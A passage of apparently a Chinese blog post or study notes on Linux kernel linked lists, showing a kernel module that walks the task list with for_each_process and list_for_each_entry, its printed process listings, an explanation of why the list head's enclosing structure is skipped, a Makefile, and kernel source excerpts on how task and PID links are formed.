{
        int i = 0;
        int j = 0;
        int k = 0;
        struct task_struct *p;
        struct task_struct *m;
        struct task_struct *n;
 
        /****** test 1 *******/
        printk(KERN_ALERT "testing for_each_process, current %d, %s\n",\
                current->pid, current->comm);
 
        for_each_process(p) {
                printk(KERN_ALERT "1# PID: %d, name: %s\n",p->pid, p->comm);
                i += 1;
        }
 
        printk(KERN_ALERT "1# total: %d\n\n\n", i);
 
 
        /****** test 2 *******/
 
        printk(KERN_ALERT "testing for list_for_each_entry\n\twith  \
                &(&init_task)->tasks as its paramter,current %d, %s\n",\
                        current->pid, current->comm);
 
        list_for_each_entry(m, &(&init_task)->tasks,tasks) {
                printk(KERN_ALERT "2# PID: %d, name: %s\n",m->pid, m->comm);
                j += 1;
        }
 
        printk(KERN_ALERT "2# total: %d\n\n\n", j);
 
 
        /****** test 3 *******/
 
        printk(KERN_ALERT "testing for list_for_each_entry\n\twith \
                &current->tasks as its paramter,current %d, %s\n",\
                        current->pid, current->comm);
 
        list_for_each_entry(n, &current->tasks,tasks) {
                printk(KERN_ALERT "3# PID: %d, name: %s\n",n->pid, n->comm);
                k += 1;
        }
 
        printk(KERN_ALERT "3# total: %d\n", k);
 
        return 0;
}
 
static void list_exit(void)
{
        printk(KERN_ALERT "bye bye\n");
}
 
module_init(list_init);
module_exit(list_exit);

运行结果和分析

注意 insmod被列出,没有swapper
&init_task 作为结束循环的比较条件。因为p在第一次进行比较时被改变了值,swapper(0)没被列举出来

testing for_each_process, current 5414, insmod
1# PID: 1, name: init
1# PID: 2, name: migration/0
1# PID: 3, name: ksoftirqd/0
1# PID: 4, name: events/0
1# PID: 5, name: khelper
1# PID: 6, name: kthread
1# PID: 8, name: kblockd/0
1# PID: 9, name: kacpid
1# PID: 103, name: pdflush
1# PID: 104, name: pdflush
1# PID: 106, name: aio/0
1# PID: 105, name: kswapd0
1# PID: 312, name: cqueue/0
1# PID: 313, name: kseriod
1# PID: 353, name: kpsmoused
1# PID: 739, name: scsi_eh_0
1# PID: 835, name: reiserfs/0
1# PID: 928, name: udevd
1# PID: 1347, name: khubd
1# PID: 1409, name: kgameportd
1# PID: 2191, name: dbus-daemon
1# PID: 2193, name: acpid
1# PID: 2229, name: syslog-ng
1# PID: 2233, name: klogd
1# PID: 2358, name: resmgrd
1# PID: 2482, name: hald
1# PID: 2553, name: hald-addon-acpi
1# PID: 2559, name: dhcdbd
1# PID: 2566, name: NetworkManagerD
1# PID: 2571, name: NetworkManager
1# PID: 2601, name: mdnsd
1# PID: 2626, name: auditd
1# PID: 2637, name: kauditd
1# PID: 2650, name: portmap
1# PID: 2669, name: hald-addon-stor
1# PID: 2702, name: dhclient
1# PID: 2706, name: cupsd
1# PID: 2830, name: master
1# PID: 2845, name: pickup
1# PID: 2846, name: qmgr
1# PID: 2859, name: cron
1# PID: 3012, name: powersaved
1# PID: 3023, name: smpppd
1# PID: 3094, name: sshd
1# PID: 3106, name: gdm
1# PID: 3116, name: startpar
1# PID: 3125, name: gdm
1# PID: 3131, name: X
1# PID: 3282, name: mingetty
1# PID: 3283, name: mingetty
1# PID: 3284, name: mingetty
1# PID: 3285, name: mingetty
1# PID: 3286, name: mingetty
1# PID: 3294, name: mingetty
1# PID: 3480, name: racoon
1# PID: 3501, name: gnome-session
1# PID: 3531, name: scim-launcher
1# PID: 3535, name: scim-helper-man
1# PID: 3536, name: scim-panel-gtk
1# PID: 3538, name: scim-launcher
1# PID: 3552, name: gpg-agent
1# PID: 3553, name: ssh-agent
1# PID: 3559, name: dbus-launch
1# PID: 3560, name: dbus-daemon
1# PID: 3564, name: gconfd-2
1# PID: 3569, name: gnome-keyring-d
1# PID: 3571, name: bonobo-activati
1# PID: 3573, name: esd
1# PID: 3577, name: gnome-settings-
1# PID: 3579, name: metacity
1# PID: 3587, name: gnome-panel
1# PID: 3589, name: nautilus
1# PID: 3592, name: main-menu
1# PID: 3594, name: mono
1# PID: 3603, name: resapplet
1# PID: 3606, name: iprint-listener
1# PID: 3609, name: zen-updater
1# PID: 3611, name: gnome-vfs-daemo
1# PID: 3624, name: gnome-power-man
1# PID: 3626, name: application-bro
1# PID: 3627, name: gnome-volume-ma
1# PID: 3641, name: nm-applet
1# PID: 3667, name: gnome-screensav
1# PID: 3669, name: gnome-terminal
1# PID: 3670, name: gnome-pty-helpe
1# PID: 3671, name: bash
1# PID: 2883, name: zmd
1# PID: 5414, name: insmod
1# PID: 5415, name: udevd
1# total: 89

注意 insmod被列出,没有swapper
&(&init_task)->tasks 是表头,表头(或表头所在的大结构体)没列作关心对象,起结束循环的比较作用。也是就说0(swapper)没被列举出
结论。表头所在的大结构体不会被list_for_each_entry列举出来

testing for list_for_each_entry
with &(&init_task)->tasks as its paramter,current 5414, insmod
2# PID: 1, name: init
2# PID: 2, name: migration/0
2# PID: 3, name: ksoftirqd/0
2# PID: 4, name: events/0
2# PID: 5, name: khelper
2# PID: 6, name: kthread
2# PID: 8, name: kblockd/0
2# PID: 9, name: kacpid
2# PID: 103, name: pdflush
2# PID: 104, name: pdflush
2# PID: 106, name: aio/0
2# PID: 105, name: kswapd0
2# PID: 312, name: cqueue/0
2# PID: 313, name: kseriod
2# PID: 353, name: kpsmoused
2# PID: 739, name: scsi_eh_0
2# PID: 835, name: reiserfs/0
2# PID: 928, name: udevd
2# PID: 1347, name: khubd
2# PID: 1409, name: kgameportd
2# PID: 2191, name: dbus-daemon
2# PID: 2193, name: acpid
2# PID: 2229, name: syslog-ng
2# PID: 2233, name: klogd
2# PID: 2358, name: resmgrd
2# PID: 2482, name: hald
2# PID: 2553, name: hald-addon-acpi
2# PID: 2559, name: dhcdbd
2# PID: 2566, name: NetworkManagerD
2# PID: 2571, name: NetworkManager
2# PID: 2601, name: mdnsd
2# PID: 2626, name: auditd
2# PID: 2637, name: kauditd
2# PID: 2650, name: portmap
2# PID: 2669, name: hald-addon-stor
2# PID: 2702, name: dhclient
2# PID: 2706, name: cupsd
2# PID: 2830, name: master
2# PID: 2845, name: pickup
2# PID: 2846, name: qmgr
2# PID: 2859, name: cron
2# PID: 3012, name: powersaved
2# PID: 3023, name: smpppd
2# PID: 3094, name: sshd
2# PID: 3106, name: gdm
2# PID: 3116, name: startpar
2# PID: 3125, name: gdm
2# PID: 3131, name: X
2# PID: 3282, name: mingetty
2# PID: 3283, name: mingetty
2# PID: 3284, name: mingetty
2# PID: 3285, name: mingetty
2# PID: 3286, name: mingetty
2# PID: 3294, name: mingetty
2# PID: 3480, name: racoon
2# PID: 3501, name: gnome-session
2# PID: 3531, name: scim-launcher
2# PID: 3535, name: scim-helper-man
2# PID: 3536, name: scim-panel-gtk
2# PID: 3538, name: scim-launcher
2# PID: 3552, name: gpg-agent
2# PID: 3553, name: ssh-agent
2# PID: 3559, name: dbus-launch
2# PID: 3560, name: dbus-daemon
2# PID: 3564, name: gconfd-2
2# PID: 3569, name: gnome-keyring-d
2# PID: 3571, name: bonobo-activati
2# PID: 3573, name: esd
2# PID: 3577, name: gnome-settings-
2# PID: 3579, name: metacity
2# PID: 3587, name: gnome-panel
2# PID: 3589, name: nautilus
2# PID: 3592, name: main-menu
2# PID: 3594, name: mono
2# PID: 3603, name: resapplet
2# PID: 3606, name: iprint-listener
2# PID: 3609, name: zen-updater
2# PID: 3611, name: gnome-vfs-daemo
2# PID: 3624, name: gnome-power-man
2# PID: 3626, name: application-bro
2# PID: 3627, name: gnome-volume-ma
2# PID: 3641, name: nm-applet
2# PID: 3667, name: gnome-screensav
2# PID: 3669, name: gnome-terminal
2# PID: 3670, name: gnome-pty-helpe
2# PID: 3671, name: bash
2# PID: 2883, name: zmd
2# PID: 5414, name: insmod
2# PID: 5415, name: udevd
2# total: 89

注意 少了insmod,多了swapper
&current->tasks (current指向的是insmod的task_struct)此时作为表头,原因和2#相同,表头所在大结构体不会被list_for_each_entry列出。所以insmod没被列举出来。但是2#中的”表头”(现在的角色成了节点中的list_head)所在的大结构体被列举了。也就是swapper被列举出来了。
我们可以这样想象出整个链表的样子,按照PID大小顺序 swapper<->init<->migration/0<-> … <->insmod<->udevd 注意链表两头我没把连起来。在这次中,因为insmod没列出,第一个列出的是insmod后面的udevd,因为是双向链表,所以下一个就列出swapper。接着….
我们看到,刚好2#中”表头”所在大结构体也是tast_struct,这个程序看起来正常。如果是其他结构体,它照样也会返回一个”虚拟的”tast_struct指针回来。如果对这个”虚拟的”tast_struct乱操作一通,实际作用的却是其他不明物体,结果可想而知.

testing for list_for_each_entry
with &current->tasks as its paramter,current 5414, insmod
3# PID: 5415, name: udevd
3# PID: 0, name: swapper
3# PID: 1, name: init
3# PID: 2, name: migration/0
3# PID: 3, name: ksoftirqd/0
3# PID: 4, name: events/0
3# PID: 5, name: khelper
3# PID: 6, name: kthread
3# PID: 8, name: kblockd/0
3# PID: 9, name: kacpid
3# PID: 103, name: pdflush
3# PID: 104, name: pdflush
3# PID: 106, name: aio/0
3# PID: 105, name: kswapd0
3# PID: 312, name: cqueue/0
3# PID: 313, name: kseriod
3# PID: 353, name: kpsmoused
3# PID: 739, name: scsi_eh_0
3# PID: 835, name: reiserfs/0
3# PID: 928, name: udevd
3# PID: 1347, name: khubd
3# PID: 1409, name: kgameportd
3# PID: 2191, name: dbus-daemon
3# PID: 2193, name: acpid
3# PID: 2229, name: syslog-ng
3# PID: 2233, name: klogd
3# PID: 2358, name: resmgrd
3# PID: 2482, name: hald
3# PID: 2553, name: hald-addon-acpi
3# PID: 2559, name: dhcdbd
3# PID: 2566, name: NetworkManagerD
3# PID: 2571, name: NetworkManager
3# PID: 2601, name: mdnsd
3# PID: 2626, name: auditd
3# PID: 2637, name: kauditd
3# PID: 2650, name: portmap
3# PID: 2669, name: hald-addon-stor
3# PID: 2702, name: dhclient
3# PID: 2706, name: cupsd
3# PID: 2830, name: master
3# PID: 2845, name: pickup
3# PID: 2846, name: qmgr
3# PID: 2859, name: cron
3# PID: 3012, name: powersaved
3# PID: 3023, name: smpppd
3# PID: 3094, name: sshd
3# PID: 3106, name: gdm
3# PID: 3116, name: startpar
3# PID: 3125, name: gdm
3# PID: 3131, name: X
3# PID: 3282, name: mingetty
3# PID: 3283, name: mingetty
3# PID: 3284, name: mingetty
3# PID: 3285, name: mingetty
3# PID: 3286, name: mingetty
3# PID: 3294, name: mingetty
3# PID: 3480, name: racoon
3# PID: 3501, name: gnome-session
3# PID: 3531, name: scim-launcher
3# PID: 3535, name: scim-helper-man
3# PID: 3536, name: scim-panel-gtk
3# PID: 3538, name: scim-launcher
3# PID: 3552, name: gpg-agent
3# PID: 3553, name: ssh-agent
3# PID: 3559, name: dbus-launch
3# PID: 3560, name: dbus-daemon
3# PID: 3564, name: gconfd-2
3# PID: 3569, name: gnome-keyring-d
3# PID: 3571, name: bonobo-activati
3# PID: 3573, name: esd
3# PID: 3577, name: gnome-settings-
3# PID: 3579, name: metacity
3# PID: 3587, name: gnome-panel
3# PID: 3589, name: nautilus
3# PID: 3592, name: main-menu
3# PID: 3594, name: mono
3# PID: 3603, name: resapplet
3# PID: 3606, name: iprint-listener
3# PID: 3609, name: zen-updater
3# PID: 3611, name: gnome-vfs-daemo
3# PID: 3624, name: gnome-power-man
3# PID: 3626, name: application-bro
3# PID: 3627, name: gnome-volume-ma
3# PID: 3641, name: nm-applet
3# PID: 3667, name: gnome-screensav
3# PID: 3669, name: gnome-terminal
3# PID: 3670, name: gnome-pty-helpe
3# PID: 3671, name: bash
3# PID: 2883, name: zmd
3# total: 89

总结:1. 在实际中,通常表头外面是有个大结构的。这点上ulk的插图有点误导作用。这个大结构体和节点的大结构体是否一样,两者没什么联系。
2. 表头所在大结构体不会被list_for_each_entry列出。
3. 类似地,list_for_each也不会返回表头指针
4. “表头”如何理解?
这涉及 从链接中间开始遍历行不行?如果从中间开始遍历,遍历到”所谓末尾”后会不会(当然会)倒过来遍历”前面”部分等等奇形怪状的问题。

其实源码注释得很明白
@head: the head for your list. head是你链表表头(的指针)
list_for_each(pos, head)
ist_for_each_entry(pos, head, member)
依据2.3.可见,凡是把你关心的研究对象(单个list_head,或它所在的大结构体)中的list_head指针作为了这两个宏的head参数,都是错误的。

(注意:其他宏的源码,暂时没看。对于遍历的宏,结论应该通用)

附Makefile

obj-m += list.o
CC = gcc

all:
make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) modules

clean:
@rm -rf *.o *.ko *.mod.c .*.cmd .*.d Modules.symvers
make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) clean

TOADD

task 链表的形成

clone()等C函数–>调用sys_clone()族系统调用–>do_fork()–>copy_process()–>SET_LINKS(p)

#define SET_LINKS(p) do { \
if (thread_group_leader(p)) \
list_add_tail(&(p)->tasks,&init_task.tasks); \
add_parent(p, (p)->parent); \
} while (0)

补充

兄弟链表的形成,可见父进程的children域是各子进程sibling域所形成链表的表头

#define add_parent(p, parent) list_add_tail(&(p)->sibling,&(parent)->children)

hash表的形成

copy_process()–>

attach_pid(p, PIDTYPE_PID, p->pid);
attach_pid(p, PIDTYPE_TGID, p->tgid);
if (thread_group_leader(p)) {
attach_pid(p, PIDTYPE_PGID, process_group(p));
attach_pid(p, PIDTYPE_SID, p->signal->session);
if (p->pid)
__get_cpu_var(process_counts)++;
}

–>

int fastcall attach_pid(task_t *task, enum pid_type type, int nr)
{
struct pid *pid, *task_pid;

task_pid = &task->pids[type];
pid = find_pid(type, nr);
if (pid == NULL) {
hlist_add_head(&task_pid->pid_chain,
&pid_hash[type][pid_hashfn(nr)]);
INIT_LIST_HEAD(&task_pid->pid_list);
} else {
INIT_HLIST_NODE(&task_pid->pid_chain);
list_add_tail(&task_pid->pid_list, &pid->pid_list);
}
task_pid->nr = nr;

return 0;
}

understanding list.h

09-Jan-08

1. 情景分析

2.深入分析 Linux 内核链表

3.Linux内核2.6.14源码分析-双向循环链表代码分析(巨详细)

4.Linux Kernel Linked List Explained